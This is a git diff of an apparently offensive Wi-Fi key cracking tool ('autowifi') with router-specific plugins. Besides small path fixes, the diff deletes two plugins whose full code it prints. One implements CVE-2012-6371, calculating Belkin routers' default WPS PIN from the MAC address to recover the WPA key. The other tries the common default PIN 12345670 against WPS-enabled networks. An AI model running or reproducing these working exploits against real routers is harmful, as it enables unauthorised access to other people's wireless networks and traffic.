diff options
Diffstat (limited to 'recon/autowifi')
-rwxr-xr-x | recon/autowifi/inspector_wifi | 2 | ||||
-rwxr-xr-x | recon/autowifi/plugins/02alice | 2 | ||||
-rwxr-xr-x | recon/autowifi/plugins/02easybox | 2 | ||||
-rwxr-xr-x | recon/autowifi/plugins/02tplink | 2 | ||||
-rwxr-xr-x | recon/autowifi/plugins/11belkin_wps | 40 | ||||
-rwxr-xr-x | recon/autowifi/plugins/30default_wps | 18 |
6 files changed, 3 insertions, 63 deletions
diff --git a/recon/autowifi/inspector_wifi b/recon/autowifi/inspector_wifi index bd66c849..06f37ddb 100755 --- a/recon/autowifi/inspector_wifi +++ b/recon/autowifi/inspector_wifi @@ -11,8 +11,6 @@ crack_wifi(){ for i in plugins/*;do if RET=$(./$i "$@" 2>/dev/null);then echo "$@ - with crack $i succeeded - Key is $RET" - else - echo "crack $i failed" fi done } diff --git a/recon/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice index 138130fb..65ab34b1 100755 --- a/recon/autowifi/plugins/02alice +++ b/recon/autowifi/plugins/02alice @@ -7,7 +7,7 @@ # ESSID MAC CHANNEL ENCRYPTION cd $(dirname $(readlink -f $0)) -. plugin_core +. ./plugin_core parse_plugin_args "$@" diff --git a/recon/autowifi/plugins/02easybox b/recon/autowifi/plugins/02easybox index efaddc25..3bb1ee86 100755 --- a/recon/autowifi/plugins/02easybox +++ b/recon/autowifi/plugins/02easybox @@ -2,7 +2,7 @@ #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 cd $(dirname $(readlink -f $0)) -. plugin_core +. ./plugin_core parse_plugin_args "$@" if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then diff --git a/recon/autowifi/plugins/02tplink b/recon/autowifi/plugins/02tplink index 99ba0006..751ec209 100755 --- a/recon/autowifi/plugins/02tplink +++ b/recon/autowifi/plugins/02tplink @@ -4,7 +4,7 @@ # http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 cd $(dirname $(readlink -f $0)) -. plugin_core +. ./plugin_core parse_plugin_args "$@" diff --git a/recon/autowifi/plugins/11belkin_wps b/recon/autowifi/plugins/11belkin_wps deleted file mode 100755 index d4eb8e37..00000000 --- a/recon/autowifi/plugins/11belkin_wps +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# thanks to http://ednolo.alumnos.upv.es/?p=1295G -# for the PoC code -# Calculates the default WPS pin of Belkin Routers and returns the WPA key -# -# Implementation of CVE-2012-6371 - -# works : -# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000 -# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000 -# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 - -cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core -. ../lib/wps -parse_plugin_args "$@" - -check_painmode - -! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 - -calc_belkin(){ - PRIVATE_MAC=${1} - - p=$((0x$PRIVATE_MAC % 10000000)) - wps_pin_checksum(){ - pin=$1 - accum=0 - while [ $pin -ne 0 ];do - accum=$((accum + (3 * (pin % 10)) )) - pin=$((pin/10)) - accum=$((accum + pin %10 )) - pin=$((pin/10)) - done - echo $(( (10 - accum % 10) % 10)) - } - printf "%07d%d" $p $(wps_pin_checksum $p) - return 0 -} -try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) diff --git a/recon/autowifi/plugins/30default_wps b/recon/autowifi/plugins/30default_wps deleted file mode 100755 index 50ad2676..00000000 --- a/recon/autowifi/plugins/30default_wps +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/sh -# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot -# http://www.wotan.cc/?p=75 -cd $(dirname $(readlink -f $0)) -. ../lib/wps -. ../lib/plugin_core - -parse_plugin_args "$@" -check_painmode -DEFAULT_PIN="${DEFAULT_PIN:-12345670}" - -if has_wps "$ENC"; then - echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 - try_wps_pin "$@" $DEFAULT_PIN -else - echo "Network $ESSID not WPS enabled" - exit 1 -fi |